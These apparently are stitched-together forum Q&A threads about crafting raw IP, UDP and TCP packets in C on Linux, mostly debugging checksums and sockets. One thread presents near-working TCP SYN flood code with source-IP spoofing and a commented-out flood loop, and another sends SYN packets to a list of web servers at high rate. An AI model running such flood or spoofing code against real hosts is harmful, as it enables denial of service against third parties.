Incorrect and variable IP packet checksum value - c

GOAL: crafting a packet from zero and send it.
PROBLEM: after I enabled "validate checksum" on wireshark I noticed that the expected checksum value should be 0xa85d but the checksum function I'm using computes a different value each time. Why the checksum is changing if the packet is always the same? What is the cause of the checksum mismatch between the one I compute and the one expected by wireshark? Thanks
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 1024
// https://gist.github.com/leonid-ed/909a883c114eb58ed49f
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct udphdr);
struct ifreq ifr;
size_t if_name_len;
char buf[BUF_SIZE];
struct ether_header *eh = (struct ether_header *) buf;
struct iphdr *iph = (struct iphdr *) (buf + sizeof(struct ether_header));
struct udphdr *udph = (struct udphdr *) (buf + sizeof(struct ether_header) + sizeof(struct iphdr));
unsigned char *data = buf + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
u_int16_t src_port, dst_port;
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0x00, 0xd0, 0x56, 0xf2, 0xb5, 0x12};
// create raw socket to send/receive ethernet frames that can transport all protocols
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
memset(&sec_payload,5,sizeof(struct seccomp_data));
data = (char*)malloc(sizeof(struct seccomp_data));
memcpy(data, (const unsigned char *)&sec_payload, sizeof(struct seccomp_data));
int i;
for(i=0;i<sizeof(sec_payload);i++){
buf[tx_len++] = data[i];
printf("%02X ",data[i]);
}
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload));
iph->id = htons(54321);
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
// build udp header
udph->source = htons(8090);
udph->dest = htons(8091);
udph->len = htons(sizeof(struct udphdr) + sizeof(sec_payload));
iph->check = csum((unsigned short *)buf, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload));
memset(&dst_addr,0,sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
if (sendto(sockfd, buf, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}

Related

Why is recvfrom blocking forever with PF_PACKET socket?

The following code reads an IPv4 address from an input file which has an IPv4 address of a known web server on each line. It sends a TCP SYN with a PF_PACKET type socket. The main function launches two threads. One to send the TCP SYN packet and one thread to receive responses. The receive thread is blocking forever on recvfom call. This is not the desired behaviour. A screenshot of Wireshark capture shows that TCP SYN/ACK responses are being received by the machine:
So why isn't my program returning from recvfrom?
EDIT:
I include a cut down listing of the code below. MAC address and IP address and interface name are hard coded. You will have to change them to your setup to get the code to run.
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <netinet/ether.h>
#include <ifaddrs.h>
#include <asm/types.h>
#include <linux/if_ether.h>
//#include <linux/if_arp.h>
#include <arpa/inet.h> //htons etc
#include <time.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <pthread.h>
#define MAX_CONNECTIONS 10000
#define HWADDR_len 6
#define debug(x...) printf(x);printf("\n");
#define info(x...) printf(x);printf("\n");
#define warn(x...) printf(x);printf("\n");
#define err(x...) printf(x);printf("\n");
static char * str_devname= NULL;
volatile int fd_socket;
volatile struct sockaddr_ll *ps_sockaddr = NULL;
int done = 0;
char ifname[512];
char ip[512];
struct timespec startTime, stopTime;
long total_bytes = 0;
int sent = 0;
int lines_read = 0;
FILE * fp;
char server[254];
size_t len;
struct ifreq ifr,ifr2;
struct sockaddr_in* ipaddr = (struct sockaddr_in*)&ifr2.ifr_addr;
int count = 0;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
unsigned short checksum2(const char *buf, unsigned size)
{
unsigned long long sum = 0;
const unsigned long long *b = (unsigned long long *) buf;
unsigned t1, t2;
unsigned short t3, t4;
/* Main loop - 8 bytes at a time */
while (size >= sizeof(unsigned long long))
{
unsigned long long s = *b++;
sum += s;
if (sum < s) sum++;
size -= 8;
}
/* Handle tail less than 8-bytes long */
buf = (const char *) b;
if (size & 4)
{
unsigned s = *(unsigned *)buf;
sum += s;
if (sum < s) sum++;
buf += 4;
}
if (size & 2)
{
unsigned short s = *(unsigned short *) buf;
sum += s;
if (sum < s) sum++;
buf += 2;
}
if (size)
{
unsigned char s = *(unsigned char *) buf;
sum += s;
if (sum < s) sum++;
}
/* Fold down to 16 bits */
t1 = sum;
t2 = sum >> 32;
t1 += t2;
if (t1 < t2) t1++;
t3 = t1;
t4 = t1 >> 16;
t3 += t4;
if (t3 < t4) t3++;
return ~t3;
}
void *my_send (){
while (!done)
{
if (count >= MAX_CONNECTIONS)
{
usleep(100);
continue;
}
char * data;
int first_loop = 1;
struct tpacket_hdr * ps_header;
int ec_send = 0;
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//Ethernet header
struct ether_header *eh = (struct ether_header *) datagram;
//IP header
struct iphdr *iph = (struct iphdr *) (datagram + sizeof (struct ether_header));
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ether_header) + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//some address resolution
strcpy(source_ip , "192.168.1.70");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
if (fscanf(fp, "%253s", server) == 1)
{
sin.sin_addr.s_addr = inet_addr (server);
lines_read++;
//printf("%s\n", server);
}
else
{
done = 1;
break;
}
//Fill in the Ethernet Header
eh->ether_dhost[0] = 0x62;
eh->ether_dhost[1] = 0x97;
eh->ether_dhost[2] = 0x41;
eh->ether_dhost[3] = 0x4b;
eh->ether_dhost[4] = 0x1e;
eh->ether_dhost[5] = 0xc0;
eh->ether_shost[0] = 0xc4;
eh->ether_shost[1] = 0x65;
eh->ether_shost[2] = 0x16;
eh->ether_shost[3] = 0x24;
eh->ether_shost[4] = 0xd5;
eh->ether_shost[5] = 0x9a;
eh->ether_type = htons(0x0800);
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
iph->id = htons (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip );
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = checksum2 (datagram + sizeof (struct ether_header), sizeof (struct iphdr));
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); // maximum allowed window size
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr));
tcph->check = checksum2(pseudogram , psize);
//memcpy(data, datagram, (sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr)));
free(pseudogram);
len = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
static int total=0;
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Wait end of transfer */
ec_send = sendto(fd_socket,datagram,len,0,(struct sockaddr *) ps_sockaddr,sizeof(struct sockaddr_ll));
if(ec_send < 0) {
perror("sendto");
}
else if ( ec_send == 0 ) {
/* nothing to do => schedule : useful if no SMP */
//printf("Sleeping\n");
usleep(0);
}
else {
total += ec_send/(len);
total_bytes += ec_send;
sent++;
pthread_mutex_lock( &mutex1 );
count++;
pthread_mutex_unlock( &mutex1 );
clock_gettime(CLOCK_MONOTONIC, &stopTime);
uint64_t msElapsed = (stopTime.tv_nsec - startTime.tv_nsec) / 1000000 + (stopTime.tv_sec - startTime.tv_sec) * 1000;
double seconds = (double)msElapsed / 1000.0;
printf("Lines read=%d Packets sent=%d, Bytes=%ld, Time=%fseconds, MBit/s=%f Packets/s=%f\r",
lines_read, sent, total_bytes, seconds, 8*total_bytes/1024/1024/seconds, sent/seconds);
//printf("send %d packets (+%d bytes)\n",total, ec_send);
fflush(0);
}
}
}
void * my_recv (){
char buffer[8192];
int ec_recv;
struct sockaddr_ll from;
socklen_t fromlen = sizeof(from);
while (1){
ec_recv = recvfrom(fd_socket, buffer, sizeof(buffer), 0, (struct sockaddr *) &from, &fromlen);
printf("recv completed\n");
if (ec_recv > 0){
printf("Received something\n");
pthread_mutex_lock( &mutex1 );
count--;
pthread_mutex_unlock( &mutex1 );
}
if (ec_recv == 0){
printf("Received nothing\n");
}
if (ec_recv < 0){
perror("recv");
}
}
}
int main( int argc, char ** argv )
{
uint32_t size;
struct sockaddr_ll my_addr;
int i_ifindex;
int ec;
struct ifreq s_ifr; /* points to one interface returned from ioctl */
pthread_t t_send, t_recv;
int s,s2,i;
int ret = -1;
struct rlimit lim;
if (argc != 2) {
printf("Usage: %s <INPUT_FILE>\n", argv[0]);
return 1;
}
getrlimit(RLIMIT_NOFILE, &lim);
printf("Soft: %d Hard: %d\n", (int)lim.rlim_cur, (int)lim.rlim_max);
lim.rlim_cur = lim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &lim) == -1) {
printf("rlimit failed\n");
return -1;
}
getrlimit(RLIMIT_NOFILE, &lim);
printf("New Soft: %d New Hard: %d\n", (int)lim.rlim_cur, (int)lim.rlim_max);
s = socket(AF_INET, SOCK_DGRAM, 0);
s2 = socket(AF_INET, SOCK_DGRAM, 0);
strcpy(ifr.ifr_name, ifname);
strcpy(ifr2.ifr_name, ifname);
ioctl(s, SIOCGIFHWADDR, &ifr);
ioctl(s2, SIOCGIFADDR, &ifr2);
close(s);
fp = fopen(argv[1], "r");
if (!fp)
exit(EXIT_FAILURE);
fd_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(fd_socket == -1)
{
perror("socket");
return EXIT_FAILURE;
}
/* clear structure */
memset(&my_addr, 0, sizeof(struct sockaddr_ll));
my_addr.sll_family = PF_PACKET;
my_addr.sll_protocol = htons(ETH_P_ALL);
str_devname = "enp3s0";
/* initialize interface struct */
strncpy (s_ifr.ifr_name, str_devname, sizeof(s_ifr.ifr_name));
/* Get the broad cast address */
ec = ioctl(fd_socket, SIOCGIFINDEX, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* update with interface index */
i_ifindex = s_ifr.ifr_ifindex;
s_ifr.ifr_mtu = 7200;
/* update the mtu through ioctl */
ec = ioctl(fd_socket, SIOCSIFMTU, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* set sockaddr info */
memset(&my_addr, 0, sizeof(struct sockaddr_ll));
my_addr.sll_family = AF_PACKET;
my_addr.sll_protocol = ETH_P_ALL;
my_addr.sll_ifindex = i_ifindex;
/* bind port */
if (bind(fd_socket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_ll)) == -1)
{
perror("bind");
return EXIT_FAILURE;
}
clock_gettime(CLOCK_MONOTONIC, &startTime);
if (pthread_create(&t_recv, NULL, my_recv, NULL) != 0){
perror("pthread_create()");
exit(errno);
}
if (pthread_create(&t_send, NULL, my_send, NULL) != 0){
perror("pthread_create()");
exit(errno);
}
pthread_join (t_recv, NULL);
pthread_join (t_send, NULL);
close(fd_socket);
printf("\nFinished without error.\n");
return 1;
}
Here is a file of IPv4 addresses to test with:
IPv4 addresses

IPv4 total length exceeds packet length (64 bytes) on crafted packet

GOAL: crafting a packet from zero including ethernet header, ip header, udp header and a seccomp_data structure as data.
PROBLEM: I'm struggling to correctly craft the packet, in fact currently when I sniff the traffic wireshark gives me Expert Info (Error/Protocol): IPv4 total length exceeds packet length (64 bytes) where the resulting length of the packet is 23552. What am I missing?
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 1024
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=ETH_HLEN;
struct ifreq ifr;
size_t if_name_len;
char buf[BUF_SIZE];
struct ether_header *eh = (struct ether_header *) buf;
struct iphdr *iph = (struct iphdr *) (buf + sizeof(struct ether_header));
struct udphdr *udph = (struct udphdr *) (buf + sizeof(struct ether_header) + sizeof(struct iphdr));
unsigned char *data = buf + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0xff, 0x99, 0x88, 0x77, 0x66, 0x55};
// create raw socket to send/receive ethernet frames that transport ip packet
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
memset(&sec_payload,0,sizeof(struct seccomp_data));
data = (char*)malloc(sizeof(struct seccomp_data));
memcpy(data, (const unsigned char *)&sec_payload, sizeof(struct seccomp_data));
int i;
for(i=0;i<sizeof(sec_payload);i++){
buf[tx_len++] = data[i];
printf("%02X ",data[i]);
}
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload);
iph->id = htons(54321);
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_UDP;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
memset(&dst_addr,0,sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
printf("tx_len %d\n, tot_len %d\n", tx_len, iph->tot_len);
if (sendto(sockfd, buf, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
Network byte order (the order in which bytes are typically transmitted on Internet protocols) is big endian, the most significant bytes are transmitted first. In particular, you need to htons() the total length field.

Netcat doesn' receive udp crafted packet

GOAL: send a crafted udp packet from 127.0.0.1 pport 8090 to localhost port 8091.
PROBLEM: the code shown below, as far I can see from wireshark, works in fact I can see my packet exactly with the values I chosen. Anyway if on terminal A I execute nc -ulp 8091 -vv and on terminal B I execute the program, nothing happens. I thought that the string "hhhhhhhhhh" should be visible in the output.
QUESTION: why I can not see the output send by the program?
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 2048
//http://www.microhowto.info/howto/calculate_an_internet_protocol_checksum_in_c.html#idp22656
uint16_t ip_checksum(void* vdata,size_t length) {
// Cast the data pointer to one that can be indexed.
char* data=(char*)vdata;
// Initialise the accumulator.
uint32_t acc=0xffff;
// Handle complete 16-bit blocks.
for (size_t i=0;i+1<length;i+=2) {
uint16_t word;
memcpy(&word,data+i,2);
acc+=ntohs(word);
if (acc>0xffff) {
acc-=0xffff;
}
}
// Handle any partial block at the end of the data.
if (length&1) {
uint16_t word=0;
memcpy(&word,data+length-1,1);
acc+=ntohs(word);
if (acc>0xffff) {
acc-=0xffff;
}
}
// Return the checksum in network byte order.
return htons(~acc);
}
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct udphdr);
struct ifreq ifr;
size_t if_name_len;
char packet[BUF_SIZE];
struct ether_header *eh;
struct iphdr *iph;
struct udphdr *udph;
unsigned char *data;
u_int16_t src_port, dst_port;
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0x00, 0xd0, 0x56, 0xf2, 0xb5, 0x12};
memset(packet, 0, sizeof(packet));
eh = (struct ether_header *) packet;
iph = (struct iphdr *) (packet + sizeof(struct ether_header));
udph = (struct udphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
data = (char *)packet + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
// create raw socket to send/receive ethernet frames that can transport all protocols
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
strcpy(data, "hhhhhhhhh");
tx_len += strlen(data);
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(data)); //sizeof(sec_payload)); //20+8+64
iph->id = htons(54321);
iph->frag_off = 0x00;
iph->ttl = 0xFF;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
iph->check = ip_checksum(iph, iph->ihl << 2);
// build udp header
udph->source = htons(8090);
udph->dest = htons(8091);
udph->len = htons(sizeof(struct udphdr) + strlen(data));//sizeof(sec_payload));
udph->check = 0;
memset(&dst_addr, 0, sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
if (sendto(sockfd, packet, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
You used same source and destination ip address. Just changing the source address to fake makes it work. Linux kernel must be dropping the packet, because it doesn't think it originated it.
I've found that on my linux box disabling Reverse Path Filtering for test purposes (sudo sysctl -w 'net.ipv4.conf.all.rp_filter=0') fixed the issue. I was able to send and receive crafted udp packets on same host.
Reverse Path Filtering feature seems to be used for mitigating attacks using ip address spoofing. What may explain why in your case the packet was never delivered to net cat application.

TCP SYN flood using raw socket in ubuntu

I'm trying to make a TCP SYN flood between two ubuntu machines (I'm using virtualbox, and i do have ping between the machines).
The error I get is
ERROR setting IP_HDRNICL.
ERROR number:9.
ERROR message:Bad file descriptor.
I guess it's related that I'm using virtualbox machines so how can I make this tcp syn flood to work without setting IP_HDRINCL?
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
strcpy(source_ip , "192.168.56.101");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
//Uncommend the loop if you want to flood :)
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
{
printf ("error\n");
}
//Data send successfully
else
{
printf ("Packet Send \n");
}
//}
return 0;
}
You need to have root in order to use raw socket. I have the exact same error message when I run your programm without root permissions but it is working fine when launched with root permissions.

TCP Packet Sender errors

I have been trying to create a tcp packet sender in c with the following code
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
int main(void){
char buffer[1024];
int packetsize[100];
char* source_ip = "192.168.2.1";
struct sockaddr_in serv;
struct iphdr *iph;
struct tcphdr *tcph;
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
serv.sin_family = AF_INET;
serv.sin_port = htons(80);
serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
struct tcp_pseudo
{
uint32_t src_addr;
uint32_t dst_addr;
uint8_t zero;
uint8_t proto;
uint16_t length;
} pseudohead;
struct help_checksum
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
// Create Packet Header
iph.ihl = 5;
iph.version = 4;
iph.tos = 0;
iph.tot_len = sizeof(struct iphdr) + packetsize;
iph.id = rand_cmwc();
iph.frag_off = 0;
iph.ttl = MAXTTL;
iph.protocol = IPPROTO_TCP;
iph.check = 0;
iph.saddr = source_ip;
iph.daddr = serv.sin_addr.s_addr;
// Create TCP Header
tcph.source = htons (1234);
tcph.dest = htons (80);
tcph.seq = 0;
tcph.ack_seq = 0;
tcph.doff = 5;
tcph.fin=0;
tcph.syn=1;
tcph.rst=0;
tcph.psh=0;
tcph.ack=0;
tcph.urg=0;
tcph.window = htons (5840);
tcph.check = 0;
tcph.urg_ptr = 0;
pseudohead.src_addr = iph->saddr;
pseudohead.dst_addr = iph->daddr;
pseudohead.dummy = 0;
pseudohead.proto = iph->protocol;
pseudohead.length = htons(sizeof(struct tcphdr) + packetsize);
tcp_chk_construct.pshd = pseudohead;
tcp_chk_construct.tcphd = tcph;
memcpy(tcp_chk_construct.tcpdata, buffer, packetsize);
tcph->check = in_cksum((unsigned short *) &tcp_chk_construct,
sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + packetsize);
memcpy(packetsize, (char *) &iph
, sizeof(iphdr));
memcpy(packetsize + sizeof(iphdr), (char *) &tcph
, sizeof(tcphdr));
memcpy(packetsize + sizeof(iphdr) + sizeof(tcphdr, buffer, packetsize);
if (sendto (sockfd, /* our socket */
buffer, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &serv, /* socket addr, just like in */
sizeof (serv)) < 0) /* a normal send() */
{
printf ("error\n");
}
else
{
printf ("Packet Send \n");
}
}
I use the netinet/ip.h and netinet/tcp.h to make the actual tcp packet but I get the following errors when compiling my code:
error: variable has incomplete type 'struct iphdr'
struct iphdr iph;
forward declaration of 'struct iphdr'
struct iphdr iph;
error: invalid application of 'sizeof' to an incomplete type 'struct iphdr'
iph.tot_len = sizeof(struct iphdr) + packetsize;
error: no member named 'source' in 'struct tcphdr'
tcph.source = htons (1234);
error: no member named 'dest' in 'struct tcphdr'
tcph.dest = htons (80);
and so on for the tcp header.
One at a time.
warning: incompatible pointer to integer conversion initializing 'char' with an expression of type 'char [12]' [-Wint-conversion] char source_ip = "192.168.2.1";
This is due to the fact that you are trying to save a string literal in a char variable. Change the line to
char* source_ip = "192.168.2.1";
warning: implicit declaration of function 'inet_addr' is invalid in C99 [-Wimplicit-function-declaration] serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
For this, include the header #include <arpa/inet.h>
Only compilation error resolved version of your original code. Not guaranteed to run.
[Compiler used - gcc 4.9.2 on Ubuntu 15.04]
Some code is commented since I could not understand its usage or found it ambiguous (e.g. use of 'packetsize' array variable - it is 'int' array but used in expression to calculate length using base address of array).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
int main(void)
{
char buffer[1024];
int packetsize[100];
char *source_ip = "192.168.2.1";
struct sockaddr_in serv;
struct iphdr iph;
struct tcphdr tcph;
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
serv.sin_family = AF_INET;
serv.sin_port = htons(80);
